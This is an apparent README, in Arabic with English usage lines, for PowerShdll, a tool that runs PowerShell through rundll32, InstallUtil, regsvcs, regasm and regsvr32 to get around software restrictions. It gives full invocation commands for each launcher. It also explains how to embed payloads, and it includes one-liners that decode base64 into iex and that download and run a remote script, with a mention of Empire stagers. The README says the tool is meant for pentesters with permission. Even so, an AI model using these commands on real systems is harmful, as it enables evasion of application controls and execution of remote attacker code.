
تشغيل PowerShell باستخدام rundll32. تجاوز قيود البرامج.
تشغيل PowerShell باستخدام ملفات dll فقط.
لا يتطلب الوصول إلى powershell.exe لأنه يستخدم ملفات dll الخاصة بأتمتة PowerShell.
يمكن تشغيل PowerShdll باستخدام: rundll32.exe، installutil.exe، regsvcs.exe، regasm.exe، regsvr32.exe أو كملف تنفيذي مستقل.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
يمكن تضمين الحمولات عن طريق تعديل متغير "payload" في طريقة start في ملف common.cs. إذا تم تضمين حمولة، سيتم تجاهل جميع الوسائط الأخرى وسيتم تنفيذ الحمولة عند تشغيل PowerShdll.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
ملاحظة: يجب فك تشفير stagers الخاصة بـ Empire باستخدام [System.Text.Encoding]::Unicode
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
بعض الأخطاء لا تظهر في المخرجات. قد يكون ذلك مربكًا لأن أوامر مثل Import-Module لا تخرج خطأ عند الفشل. تأكد من كتابة الأوامر بشكل صحيح.
في وضع dll، يعتمد الوضع التفاعلي وإخراج الأوامر على اختطاف وحدة التحكم للعملية الأم. إذا لم يكن للعملية الأم وحدة تحكم، استخدم المفتاح -n لعدم إظهار المخرجات وإلا سيتعطل التطبيق.
بسبب طريقة تعامل Rundll32 مع الوسائط، قد يسبب استخدام عدة مسافات بين المفاتيح والوسائط مشاكل. المسافات المتعددة داخل السكريبتات لا بأس بها.
هذا المشروع مخصص لباحثي الأمن ومختبر الاختراق ويجب استخدامه فقط بموافقة أصحاب النظام.